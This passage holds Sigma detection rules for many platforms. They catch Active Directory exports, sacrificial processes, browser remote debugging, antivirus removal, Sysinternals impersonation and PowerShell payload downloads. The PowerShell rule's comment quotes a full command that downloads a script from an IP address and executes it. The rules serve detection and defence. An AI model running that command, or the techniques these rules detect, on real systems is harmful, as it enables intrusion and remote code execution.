Sigma rules: 3i

title: Active Directory Structure Export Via Ldifde.EXE
id: 4f7a6757-ff79-46db-9687-66501a02d9ec
status: test
description: Detects the execution of "ldifde.exe" in order to export organizational Active Directory structure.
references:
    - https://businessinsights.bitdefender.com/deep-dive-into-a-backdoordiplomacy-attack-a-study-of-an-attackers-toolkit
    - https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html
    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-03-14
tags:
    - attack.exfiltration
logsource:
    category: process_creation
    product: windows
detection:
    selection_ldif:
        - Image|endswith: '\ldifde.exe'
        - OriginalFileName: 'ldifde.exe'
    selection_cmd:
        CommandLine|contains: '-f'
    filter_import:
        CommandLine|contains: ' -i'
    condition: all of selection_* and not 1 of filter_*
falsepositives:
    - Unknown
level: medium

title: Bad Opsec Defaults Sacrificial Processes With Improper Arguments
id: a7c3d773-caef-227e-a7e7-c2f13c622329
related:
    - id: f5647edc-a7bf-4737-ab50-ef8c60dc3add
      type: obsolete
status: test
description: |
    Detects attackers using tooling with bad opsec defaults.
    E.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run.
    One trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.
references:
    - https://blog.malwarebytes.com/malwarebytes-news/2020/10/kraken-attack-abuses-wer-service/
    - https://www.cobaltstrike.com/help-opsec
    - https://twitter.com/CyberRaiju/status/1251492025678983169
    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32
    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32
    - https://learn.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool
    - https://learn.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool
author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth (Nextron Systems), Christian Burkard (Nextron Systems)
date: 2020-10-23
modified: 2024-08-15
tags:
    - attack.stealth
    - attack.t1218.011
logsource:
    category: process_creation
    product: windows
detection:
    selection_werfault:
        Image|endswith: '\WerFault.exe'
        CommandLine|endswith: 'WerFault.exe'
    selection_rundll32:
        Image|endswith: '\rundll32.exe'
        CommandLine|endswith: 'rundll32.exe'
    selection_regsvcs:
        Image|endswith: '\regsvcs.exe'
        CommandLine|endswith: 'regsvcs.exe'
    selection_regasm:
        Image|endswith: '\regasm.exe'
        CommandLine|endswith: 'regasm.exe'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|endswith: 'regsvr32.exe'
    filter_optional_edge_update:
        ParentImage|contains: '\AppData\Local\Microsoft\EdgeUpdate\Install\{'
        Image|endswith: '\rundll32.exe'
        CommandLine|endswith: 'rundll32.exe'
    filter_optional_chromium_installer:
        # As reported in https://github.com/SigmaHQ/sigma/issues/4570 and others
        ParentImage|contains:
            - '\AppData\Local\BraveSoftware\Brave-Browser\Application\'
            - '\AppData\Local\Google\Chrome\Application\'
        ParentImage|endswith: '\Installer\setup.exe'
        ParentCommandLine|contains: '--uninstall '
        Image|endswith: '\rundll32.exe'
        CommandLine|endswith: 'rundll32.exe'
    condition: 1 of selection_* and not 1 of filter_optional_*
falsepositives:
    - Unlikely
level: high

title: Browser Started with Remote Debugging
id: b3d34dc5-2efd-4ae3-845f-8ec14921f449
related:
    - id: 3e8207c5-fcd2-4ea6-9418-15d45b4890e4
      type: derived
status: test
description: Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks
references:
    - https://yoroi.company/wp-content/uploads/2022/05/EternityGroup_report_compressed.pdf
    - https://www.mdsec.co.uk/2022/10/analysing-lastpass-part-1/
    - https://github.com/defaultnamehere/cookie_crimes/
    - https://github.com/wunderwuzzi23/firefox-cookiemonster
author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2022-07-27
modified: 2022-12-23
tags:
    - attack.credential-access
    - attack.collection
    - attack.t1185
logsource:
    category: process_creation
    product: windows
detection:
    selection_chromium_based:
        # Covers: --remote-debugging-address, --remote-debugging-port, --remote-debugging-socket-name, --remote-debugging-pipe....etc
        CommandLine|contains: ' --remote-debugging-'
    selection_firefox:
        Image|endswith: '\firefox.exe'
        CommandLine|contains: ' -start-debugger-server'
    condition: 1 of selection_*
falsepositives:
    - Unknown
level: medium

title: Cleartext Protocol Usage
id: d7fb8f0e-bd5f-45c2-b467-19571c490d7e
status: stable
description: |
    Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels.
    Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.
references:
    - https://www.cisecurity.org/controls/cis-controls-list/
    - https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf
    - https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf
author: Alexandr Yampolskyi, SOC Prime, Tim Shelton
date: 2019-03-26
modified: 2022-10-10
tags:
    - attack.credential-access
    # - CSC4
    # - CSC4.5
    # - CSC14
    # - CSC14.4
    # - CSC16
    # - CSC16.5
    # - NIST CSF 1.1 PR.AT-2
    # - NIST CSF 1.1 PR.MA-2
    # - NIST CSF 1.1 PR.PT-3
    # - NIST CSF 1.1 PR.AC-1
    # - NIST CSF 1.1 PR.AC-4
    # - NIST CSF 1.1 PR.AC-5
    # - NIST CSF 1.1 PR.AC-6
    # - NIST CSF 1.1 PR.AC-7
    # - NIST CSF 1.1 PR.DS-1
    # - NIST CSF 1.1 PR.DS-2
    # - ISO 27002-2013 A.9.2.1
    # - ISO 27002-2013 A.9.2.2
    # - ISO 27002-2013 A.9.2.3
    # - ISO 27002-2013 A.9.2.4
    # - ISO 27002-2013 A.9.2.5
    # - ISO 27002-2013 A.9.2.6
    # - ISO 27002-2013 A.9.3.1
    # - ISO 27002-2013 A.9.4.1
    # - ISO 27002-2013 A.9.4.2
    # - ISO 27002-2013 A.9.4.3
    # - ISO 27002-2013 A.9.4.4
    # - ISO 27002-2013 A.8.3.1
    # - ISO 27002-2013 A.9.1.1
    # - ISO 27002-2013 A.10.1.1
    # - PCI DSS 3.2 2.1
    # - PCI DSS 3.2 8.1
    # - PCI DSS 3.2 8.2
    # - PCI DSS 3.2 8.3
    # - PCI DSS 3.2 8.7
    # - PCI DSS 3.2 8.8
    # - PCI DSS 3.2 1.3
    # - PCI DSS 3.2 1.4
    # - PCI DSS 3.2 4.3
    # - PCI DSS 3.2 7.1
    # - PCI DSS 3.2 7.2
    # - PCI DSS 3.2 7.3
logsource:
    category: firewall
detection:
    selection:
        dst_port:
            - 8080
            - 21
            - 80
            - 23
            - 50000
            - 1521
            - 27017
            - 3306
            - 1433
            - 11211
            - 15672
            - 5900
            - 5901
            - 5902
            - 5903
            - 5904
    selection_allow1:
        action:
            - forward
            - accept
            - 2
    selection_allow2:
        blocked: "false" # not all fws set action value, but are set to mark as blocked or allowed or not
    condition: selection and 1 of selection_allow*
falsepositives:
    - Unknown
level: low

title: Creation of large amount of unverified accounts
id: 6ef35d2c-ae8f-4b42-91b8-67915c7e41ff
name: selected_events
status: experimental
description: |
    Detect rapid creation of large amounts of unverified accounts, which may be a precursor to fraudulent activity or account exploitation.
    Unverified accounts can be created by attackers or automated bots attempting to test the system or conduct fraudulent activities.
author: Okta
date: 2025-09-16
modified: 2025-09-17
logsource:
    product: auth0
detection:
    selection:
        data.type:
            - ss # successful signup
            - sv # email verification
    collect_email_domains:
        data.user_name|re: ".+@(.+)"
    condition: selection and collect_email_domains
explanation: >
    This detection collects two events: a successful user signup ('ss') and a successful email verification ('sv').
    It identifies users who have signed up but have not completed the email verification process within a specified time
    window, which is an indicator of suspicious activity by creating puppet accounts.
    The Sigma detection uses a correlated rule, which is configured in two parts: base and correlation,
    see https://sigmahq.io/docs/meta/correlations.html.
    The Splunk query also provides options to monitor a number of unverified users and used domains.
splunk: |
    index=auth0 data.tenant_name="{your-tenant-name}"
    data.type IN (ss sv)
    | fields data.user_name, data.type, data.user_id
    ``` Calculations ```
    | eval elapsed_time = (now() - _time) / 60
    | rex field=data.user_name ".+@(?<user_domain>.*)"
    | stats values(data.type) as event_types, count(data.type) as cnt_events_per_user, min(elapsed_time) as
     min_elapsed_time by data.user_name data.user_id user_domain
    ``` Filtering for users who has not completed email verification within a specified time window,
    i.e. we see just one event (ss) ```
    | where cnt_events_per_user = 1 and min_elapsed_time > {threshold_not_verified_within_X_min}
    ``` Display information about unverified users```
    | table data.user_id, data.user_name, user_domain, event_types, min_elapsed_time
    ``` Option 1 - Alert when a number of created unverified users exceeds a threshold```
    ```| stats count(data.user_id) as unverified_user_cnt
    | where unverified_user_cnt > {threshold_indicating_surge_of_unverified_users} ```
    ``` Option 2 - Extend the detection to monitor high-volume unvalidated domains ```
    ```| stats count as cnt_domain by user_domain`
    | where cnt_domain > {threshold_indicating_surge_of_email_domains} ```
comments:
    - The Splunk query requires a valid tenant name and a threshold to be defined for the unverified time window
     (threshold_not_verified_within_X_min)
    - This Splunk query can be modified in two ways by simply uncommenting respective clauses.
      Option 1 - allows to alert when a surge in unverified users has been observed, i.e. threshold_indicating_surge_of_unverified_users.
      Option 2 - allows to alert when a surge in email domains has been observed, i.e. threshold_indicating_surge_of_email_domains.
    - To establish baselines, it is recommended to run the query over a period of time to calculate normal thresholds based on observed data.
tenant_logs: |
    type: (ss sv)
prevention:
    - Enforce Email OTP verification during signup instead of relying on a post-signup email link.
    - Deny access to unverified accounts to reduce the risk of abuse with post-login actions.
    - Delete or block unverified accounts with automation (e.g. batch job or Okta workflows).
    - Alternatively, introduce higher friction by assessing risk signals and forcing Adaptive MFA via post-login actions.
    - Enable velocity-based attack protection features, i.e. suspicious IP throttling and bot detection, to detect
      and block suspicious activities.
falsepositives:
    - This rule is designed for threat hunting and serves as a starting point for further investigation.
    - Legitimate users may not verify their email immediately after signup, leading to false positives.
level: medium
tags:
    - attack.credential-access
    - attack.reconnaissance
---
title: Creation of many unverified accounts
id: b15b7fbe-a53a-4675-b51b-84f604803001
correlation:
    type: value_count
    rules:
        - selected_events # Referenced here
    group-by:
        - data.user_name
        - data.user_id
    timespan: 30d
    condition:
        lte: 1
        field: data.type

title: Device Registration or Join Without MFA
id: 5afa454e-030c-4ab4-9253-a90aa7fcc581
status: test
description: Monitor and alert for device registration or join events where MFA was not performed.
references:
    - https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#device-registrations-and-joins-outside-policy
author: Michael Epping, '@mepples21'
date: 2022-06-28
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.initial-access
    - attack.stealth
    - attack.t1078.004
logsource:
    product: azure
    service: signinlogs
detection:
    selection:
        ResourceDisplayName: 'Device Registration Service'
        conditionalAccessStatus: 'success'
    filter_mfa:
        AuthenticationRequirement: 'multiFactorAuthentication'
    condition: selection and not filter_mfa
falsepositives:
    - Unknown
level: medium

title: Disabled IE Security Features
id: fb50eb7a-5ab1-43ae-bcc9-091818cb8424
status: test
description: Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features
references:
    - https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/
author: Florian Roth (Nextron Systems)
date: 2020-06-19
modified: 2021-11-27
tags:
    - attack.defense-impairment
    - attack.t1685
logsource:
    category: process_creation
    product: windows
detection:
    selection1:
        CommandLine|contains|all:
            - ' -name IEHarden '
            - ' -value 0 '
    selection2:
        CommandLine|contains|all:
            - ' -name DEPOff '
            - ' -value 1 '
    selection3:
        CommandLine|contains|all:
            - ' -name DisableFirstRunCustomize '
            - ' -value 2 '
    condition: 1 of selection*
falsepositives:
    - Unknown
level: high

title: File Download Using Notepad++ GUP Utility
id: 44143844-0631-49ab-97a0-96387d6b2d7c
status: test
description: Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.
references:
    - https://twitter.com/nas_bench/status/1535322182863179776
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-06-10
modified: 2023-03-02
tags:
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\GUP.exe'
        - OriginalFileName: 'gup.exe'
    selection_cli:
        CommandLine|contains|all:
            - ' -unzipTo '
            - 'http'
    filter:
        ParentImage|endswith: '\notepad++.exe'
    condition: all of selection* and not filter
falsepositives:
    - Other parent processes other than notepad++ using GUP that are not currently identified
level: high

title: GitHub Repository Archive Status Changed
id: dca8991c-cb16-4128-abf8-6b11e5cd156f
status: experimental
description: |
    Detects when a GitHub repository is archived or unarchived, which may indicate unauthorized changes to repository status.
references:
    - https://docs.github.com/en/repositories/archiving-a-github-repository/archiving-repositories
    - https://www.sentinelone.com/blog/exploiting-repos-6-ways-threat-actors-abuse-github-other-devops-platforms
    - https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/security-log-events
author: Ivan Saakov
date: 2025-10-18
tags:
    - attack.persistence
    - attack.impact
    - attack.defense-impairment
logsource:
    product: github
    service: audit
detection:
    selection:
        action:
            - 'repo.archived'
            - 'repo.unarchived'
    condition: selection
falsepositives:
    - Archiving or unarchiving a repository is often legitimate. Investigate this action to determine if it was authorized.
level: low

title: Loading of Kernel Module via Insmod
id: 106d7cbd-80ff-4985-b682-a7043e5acb72
status: test
description: |
    Detects loading of kernel modules with insmod command.
    Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.
    Adversaries may use LKMs to obtain persistence within the system or elevate the privileges.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.006/T1547.006.md
    - https://linux.die.net/man/8/insmod
    - https://man7.org/linux/man-pages/man8/kmod.8.html
author: 'Pawel Mazur'
date: 2021-11-02
modified: 2022-12-25
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.t1547.006
logsource:
    product: linux
    service: auditd
detection:
    selection:
        type: 'SYSCALL'
        comm: insmod
        exe: /usr/bin/kmod
    condition: selection
falsepositives:
    - Unknown
level: high

title: macOS Data Compression Tools
id: 5906b20c-036d-46f9-8394-2cc8f711c46b
status: experimental
description: 'Detects execution of data compression tools (zip, tar, gzip) which may
  indicate

  data staging for exfiltration. Adversaries often compress data before exfiltration

  to reduce size and evade detection. Monitor for suspicious compression patterns.

  '
author: Eric Brown - Nebulock, Inc.
date: 2025/10/31
modified: 2025/10/31
references:
- https://attack.mitre.org/techniques/T1560/
- https://attack.mitre.org/techniques/T1560/001/
logsource:
  product: macos
  service: endpointsecurity
detection:
  selection_event:
    esf.event_type: 9
    event.action: exec
  selection_process:
    Image|endswith:
    - /zip
    - /tar
    - /gzip
    - /bzip2
    - /7z
    - /rar
    - /unrar
  condition: selection_event and selection_process
falsepositives:
- Legitimate file compression for backups
- Software installation and updates
- User file management activities
- Automated backup scripts
fields:
- Image
- CommandLine
- ProcessId
- ParentProcessId
- User
tags:
- attack.exfiltration
- attack.t1560
- attack.t1560.001
level: low

title: macOS System Integrity Protection Modification Attempt
id: a7b8c9d0-e1f2-4345-0123-456789012345
status: experimental
description: |
  Detects attempts to modify or bypass System Integrity Protection (SIP),
  which protects critical system files and processes. Disabling SIP is a
  common step in rootkit installation and advanced malware attacks.
references:
  - https://attack.mitre.org/techniques/T1562/001/
  - https://support.apple.com/en-us/HT204899
author: Eric Brown - Nebulock, Inc.
date: 2025/01/22
modified: 2025/01/22
logsource:
  product: macos
  service: unifiedlog
detection:
  selection_subsystem:
    subsystem: com.apple.syspolicy
  selection_sip:
    message|contains:
      - 'System Integrity Protection'
      - 'SIP'
      - 'csrutil'
      - 'rootless'
      - 'protected'
  selection_modification:
    message|contains:
      - 'disable'
      - 'disabled'
      - 'bypass'
      - 'violation'
      - 'denied'
      - 'blocked'
  condition: selection_subsystem and selection_sip and selection_modification
falsepositives:
  - Security researchers in controlled environments
  - System administrators performing legitimate tasks
level: critical
tags:
  - attack.defense_evasion
  - attack.t1562.001

title: macOS TCC Database Modification
id: d187fdf7-5c6f-4f23-9694-71d87472407a
status: experimental
description: 'Detects modifications to the TCC (Transparency, Consent, and Control)
  database

  which controls privacy permissions on macOS. Direct TCC database modification

  is a sophisticated evasion technique to bypass privacy protections and grant

  unauthorized access to sensitive resources (camera, microphone, files, etc.).

  This is a critical security event available on macOS 15.4+.

  '
author: Eric Brown - Nebulock, Inc.
date: 2025/10/31
modified: 2025/10/31
references:
- https://attack.mitre.org/techniques/T1562/001/
- https://attack.mitre.org/techniques/T1222/
logsource:
  product: macos
  service: endpointsecurity
detection:
  selection:
    esf.event_type: 147
    event.action: tcc_modify
  condition: selection
falsepositives:
- System updates and installations
- MDM policy changes
- Legitimate applications requesting permissions
- User-initiated permission changes (rare to see at this level)
fields:
- event_type
- event_name
- ProcessId
- Image
- User
- service
- client
tags:
- attack.defense_evasion
- attack.t1562.001
- attack.t1222
level: critical

title: Many Recon Events
id: 08d8b077-cc1c-4b74-8e9c-e07f84b203f0
status: test
description: |
    Detects multiple reconnaissance events, which may indicate an attacker attempting to gather information about the target environment.
    For each user ARN, it will look for three or more different reconnaissance events within a one minute timespan.
    If you are getting too many false positives, you can lower the timespan or increase the number of events required to trigger an alert.
references:
author: Zach Mathis (@yamatosecurity)
date: 2025-08-02
modified: 2025-08-02
tags:
    - attack.reconnaissance
logsource:
    product: aws
    service: cloudtrail
correlation:
    type: value_count
    rules:
        - Recon Event
    group-by:
        - userIdentity.arn
    timespan: 1m
    condition:
        gte: 3
        field: eventName
    generate: false
level: high
---
title: Recon Event
id: 33ecb0d0-389f-4954-ae8e-7b62f9e369b8
status: test
description: Detects reconnaissance activity.
references:
author: Zach Mathis (@yamatosecurity)
date: 2025-08-02
modified: 2025-08-02
tags:
    - attack.reconnaissance
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventSource: 'iam.amazonaws.com'
    selection_recon:
          eventName:
            - ListUsers
            - ListRoles
            - ListGroups
            - ListAttachedRolePolicies
            - ListAttachedUserPolicies
            - ListUserPolicies
            - ListAccessKeys
            - GetCredentialReport
            - GetAccountAuthorizationDetails
            - GetCallerIdentity
            - GetPolicy
            - GetPolicyVersion
            - GetRole
            - GetRolePolicy
            - GetUser
            - GetUserPolicy
            - DescribeRegions
            - DescribeAvailabilityZones
            - DescribeVpcs
            - DescribeSubnets
            - DescribeSecurityGroups
            - DescribeInstances
            - DescribeVolumes
            - DescribeImages
            - DescribeNetworkInterfaces
            - ListServiceQuotas
            - ListServices
            - ListBuckets
            - GetBucketAcl
            - GetBucketPolicy
            - ListTables
            - DescribeTable
            - ListRepositories
            - DescribeRepositories
            - GetSessionToken
            - LookupEvents
            - DescribeTrails
            - GetTrailStatus
            - ListTrails
            - ListFunctions
            - ListTopics   
            - ListQueues   
            - ListClusters 
            - DescribeCluster
    condition: all of selection*
level: low

title: OneNote Attachment File Dropped In Suspicious Location
id: 7fd164ba-126a-4d9c-9392-0d4f7c243df0
status: test
description: Detects creation of files with the ".one"/".onepkg" extension in suspicious or uncommon locations. This could be a sign of attackers abusing OneNote attachments
references:
    - https://www.bleepingcomputer.com/news/security/hackers-now-use-microsoft-onenote-attachments-to-spread-malware/
    - https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-01-22
modified: 2023-09-19
tags:
    - attack.stealth
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|contains:
            # Note: add more common locations for drops such as download folders and the like. Or baseline legitimate locations and alert on everything else
            - '\AppData\Local\Temp\'
            - '\Users\Public\'
            - '\Windows\Temp\'
            - ':\Temp\'
        TargetFilename|endswith:
            - '.one'
            - '.onepkg'
    filter_main_onenote:
        Image|contains: ':\Program Files\Microsoft Office\'
        Image|endswith: '\ONENOTE.EXE'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Legitimate usage of ".one" or ".onepkg" files from those locations
level: medium

title: Payload downloaded via PowerShell
description: Detects scenarios where an attacker download a payload using PowerShell.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0002-Execution/T1059.001-PowerShell
- https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/
- https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters
- https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign
- https://unit42.paloaltonetworks.com/mallox-ransomware/
- https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/
tags:
- attack.execution
- attack.t1059.001 # Command and Scripting Interpreter: PowerShell 
- attack.command_and_control
- attack.t1105 # Ingress Tool Transfer
author: mdecrevoisier
logsource:
  product: windows
  category:
    - ps_module
    - ps_classic_script
    - ps_script
detection: # full command: "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
  selection_powershell_native:
    EventID: 800
    EventData|contains: 'WebClient'
    EventData|contains:
      - ".DownloadString("
      - ".DownloadStringAsync("
      - ".DownloadFile("
      - ".DownloadData("
    EventData|contains: 
      - 'http://'
      - 'https://'
      - 'ftp://'

  selection_powershell_modern:
    EventID: 4103
    Payload|contains: 'WebClient'
    Payload|contains:
      - ".DownloadString("
      - ".DownloadStringAsync("
      - ".DownloadFile("
      - ".DownloadData("
    Payload|contains: 
      - 'http://'
      - 'https://'
      - 'ftp://'

  selection_powershell_block:
    EventID: 4104
    ScriptBlockText|contains: 'WebClient'
    ScriptBlockText|contains:
      - ".DownloadString("
      - ".DownloadStringAsync("
      - ".DownloadFile("
      - ".DownloadData("
    ScriptBlockText|contains: 
      - 'http://'
      - 'https://'
      - 'ftp://'

  condition: selection_powershell_native or selection_powershell_modern or selection_powershell_block
falsepositives:
- Scripts donwloading files
level: high

title: Potential Binary Impersonating Sysinternals Tools
id: 7cce6fc8-a07f-4d84-a53e-96e1879843c9
status: test
description: |
    Detects binaries that use the same name as legitimate sysinternals tools to evade detection.
    This rule looks for the execution of binaries that are named similarly to Sysinternals tools.
    Adversary may rename their malicious tools as legitimate Sysinternals tools to evade detection.
references:
    - https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
author: frack113, Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2021-12-20
modified: 2025-04-12
tags:
    - attack.execution
    - attack.stealth
    - attack.t1218
    - attack.t1202
    - attack.t1036.005
logsource:
    category: process_creation
    product: windows
detection:
    selection_exe:
        Image|endswith:
            - '\accesschk.exe'
            - '\accesschk64.exe'
            - '\AccessEnum.exe'
            - '\ADExplorer.exe'
            - '\ADExplorer64.exe'
            - '\ADInsight.exe'
            - '\ADInsight64.exe'
            - '\adrestore.exe'
            - '\adrestore64.exe'
            - '\Autologon.exe'
            - '\Autologon64.exe'
            - '\Autoruns.exe'
            - '\Autoruns64.exe'
            - '\autorunsc.exe'
            - '\autorunsc64.exe'
            - '\Bginfo.exe'
            - '\Bginfo64.exe'
            - '\Cacheset.exe'
            - '\Cacheset64.exe'
            - '\Clockres.exe'
            - '\Clockres64.exe'
            - '\Contig.exe'
            - '\Contig64.exe'
            - '\Coreinfo.exe'
            - '\Coreinfo64.exe'
            - '\CPUSTRES.EXE'
            - '\CPUSTRES64.EXE'
            - '\ctrl2cap.exe'
            - '\Dbgview.exe'
            - '\dbgview64.exe'
            - '\Desktops.exe'
            - '\Desktops64.exe'
            - '\disk2vhd.exe'
            - '\disk2vhd64.exe'
            - '\diskext.exe'
            - '\diskext64.exe'
            - '\Diskmon.exe'
            - '\Diskmon64.exe'
            - '\DiskView.exe'
            - '\DiskView64.exe'
            - '\du.exe'
            - '\du64.exe'
            - '\efsdump.exe'
            - '\FindLinks.exe'
            - '\FindLinks64.exe'
            - '\handle.exe'
            - '\handle64.exe'
            - '\hex2dec.exe'
            - '\hex2dec64.exe'
            - '\junction.exe'
            - '\junction64.exe'
            - '\ldmdump.exe'
            - '\listdlls.exe'
            - '\listdlls64.exe'
            - '\livekd.exe'
            - '\livekd64.exe'
            - '\loadOrd.exe'
            - '\loadOrd64.exe'
            - '\loadOrdC.exe'
            - '\loadOrdC64.exe'
            - '\logonsessions.exe'
            - '\logonsessions64.exe'
            - '\movefile.exe'
            - '\movefile64.exe'
            - '\notmyfault.exe'
            - '\notmyfault64.exe'
            - '\notmyfaultc.exe'
            - '\notmyfaultc64.exe'
            - '\ntfsinfo.exe'
            - '\ntfsinfo64.exe'
            - '\pendmoves.exe'
            - '\pendmoves64.exe'
            - '\pipelist.exe'
            - '\pipelist64.exe'
            - '\portmon.exe'
            - '\procdump.exe'
            - '\procdump64.exe'
            - '\procexp.exe'
            - '\procexp64.exe'
            - '\Procmon.exe'
            - '\Procmon64.exe'
            - '\psExec.exe'
            - '\psExec64.exe'
            - '\psfile.exe'
            - '\psfile64.exe'
            - '\psGetsid.exe'
            - '\psGetsid64.exe'
            - '\psInfo.exe'
            - '\psInfo64.exe'
            - '\pskill.exe'
            - '\pskill64.exe'
            - '\pslist.exe'
            - '\pslist64.exe'
            - '\psLoggedon.exe'
            - '\psLoggedon64.exe'
            - '\psloglist.exe'
            - '\psloglist64.exe'
            - '\pspasswd.exe'
            - '\pspasswd64.exe'
            - '\psping.exe'
            - '\psping64.exe'
            - '\psService.exe'
            - '\psService64.exe'
            - '\psshutdown.exe'
            - '\psshutdown64.exe'
            - '\pssuspend.exe'
            - '\pssuspend64.exe'
            - '\RAMMap.exe'
            - '\RAMMap64.exe'
            - '\RDCMan.exe'
            - '\RegDelNull.exe'
            - '\RegDelNull64.exe'
            - '\regjump.exe'
            - '\ru.exe'
            - '\ru64.exe'
            - '\sdelete.exe'
            - '\sdelete64.exe'
            - '\ShareEnum.exe'
            - '\ShareEnum64.exe'
            - '\shellRunas.exe'
            - '\sigcheck.exe'
            - '\sigcheck64.exe'
            - '\streams.exe'
            - '\streams64.exe'
            - '\strings.exe'
            - '\strings64.exe'
            - '\sync.exe'
            - '\sync64.exe'
            - '\Sysmon.exe'
            - '\Sysmon64.exe'
            - '\tcpvcon.exe'
            - '\tcpvcon64.exe'
            - '\tcpview.exe'
            - '\tcpview64.exe'
            - '\Testlimit.exe'
            - '\Testlimit64.exe'
            - '\vmmap.exe'
            - '\vmmap64.exe'
            - '\Volumeid.exe'
            - '\Volumeid64.exe'
            - '\whois.exe'
            - '\whois64.exe'
            - '\Winobj.exe'
            - '\Winobj64.exe'
            - '\ZoomIt.exe'
            - '\ZoomIt64.exe'
    selection_arm64:
        Image|endswith:
            - '\accesschk64a.exe'
            - '\ADExplorer64a.exe'
            - '\ADInsight64a.exe'
            - '\adrestore64a.exe'
            - '\Autologon64a.exe'
            - '\Autoruns64a.exe'
            - '\autorunsc64a.exe'
            - '\Clockres64a.exe'
            - '\Contig64a.exe'
            - '\Coreinfo64a.exe'
            - '\Dbgview64a.exe'
            - '\disk2vhd64a.exe'
            - '\diskext64a.exe'
            - '\DiskView64a.exe'
            - '\du64a.exe'
            - '\FindLinks64a.exe'
            - '\handle64a.exe'
            - '\hex2dec64a.exe'
            - '\junction64a.exe'
            - '\LoadOrd64a.exe'
            - '\LoadOrdC64a.exe'
            - '\logonsessions64a.exe'
            - '\movefile64a.exe'
            - '\notmyfault64a.exe'
            - '\notmyfaultc64a.exe'
            - '\pendmoves64a.exe'
            - '\pipelist64a.exe'
            - '\procdump64a.exe'
            - '\procexp64a.exe'
            - '\Procmon64a.exe'
            - '\PsExec64a.exe'
            - '\psfile64a.exe'
            - '\PsGetsid64a.exe'
            - '\PsInfo64a.exe'
            - '\pskill64a.exe'
            - '\psloglist64a.exe'
            - '\pspasswd64a.exe'
            - '\psping64a.exe'
            - '\PsService64a.exe'
            - '\pssuspend64a.exe'
            - '\RAMMap64a.exe'
            - '\RegDelNull64a.exe'
            - '\ru64a.exe'
            - '\sdelete64a.exe'
            - '\sigcheck64a.exe'
            - '\streams64a.exe'
            - '\strings64a.exe'
            - '\sync64a.exe'
            - '\Sysmon64a.exe'
            - '\tcpvcon64a.exe'
            - '\tcpview64a.exe'
            - '\vmmap64a.exe'
            - '\whois64a.exe'
            - '\Winobj64a.exe'
            - '\ZoomIt64a.exe'
    filter_valid:
        - Company:
              - 'Sysinternals - www.sysinternals.com'
              - 'Sysinternals'
        - Product|startswith: 'Sysinternals'
    filter_empty:
        - Company: null
        - Product: null
    condition: 1 of selection_* and not 1 of filter_*
falsepositives:
    - Unknown
level: medium

title: PUA - CleanWipe Execution
id: f44800ac-38ec-471f-936e-3fa7d9c53100
status: test
description: Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.
references:
    - https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/CleanWipe
author: Nasreddine Bencherchali (Nextron Systems)
date: 2021-12-18
modified: 2023-02-14
tags:
    - attack.defense-impairment
    - attack.t1685
logsource:
    category: process_creation
    product: windows
detection:
    selection1:
        Image|endswith: '\SepRemovalToolNative_x64.exe'
    selection2:
        Image|endswith: '\CATClean.exe'
        CommandLine|contains: '--uninstall'
    selection3:
        Image|endswith: '\NetInstaller.exe'
        CommandLine|contains: '-r'
    selection4:
        Image|endswith: '\WFPUnins.exe'
        CommandLine|contains|all:
            - '/uninstall'
            - '/enterprise'
    condition: 1 of selection*
falsepositives:
    - Legitimate administrative use (Should be investigated either way)
level: high

title: Service Startup Type Change Via Wmic.EXE
id: c0514f28-fdae-42df-b886-06e2b2bc5b37
status: experimental
description: |
    Detects changes to service startup type to 'disabled' or 'manual' using the WMIC command-line utility.
references:
    - https://blog.talosintelligence.com/uncovering-qilin-attack-methods-exposed-through-multiple-cases/
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2026-04-27
tags:
    - attack.execution
    - attack.defense-impairment
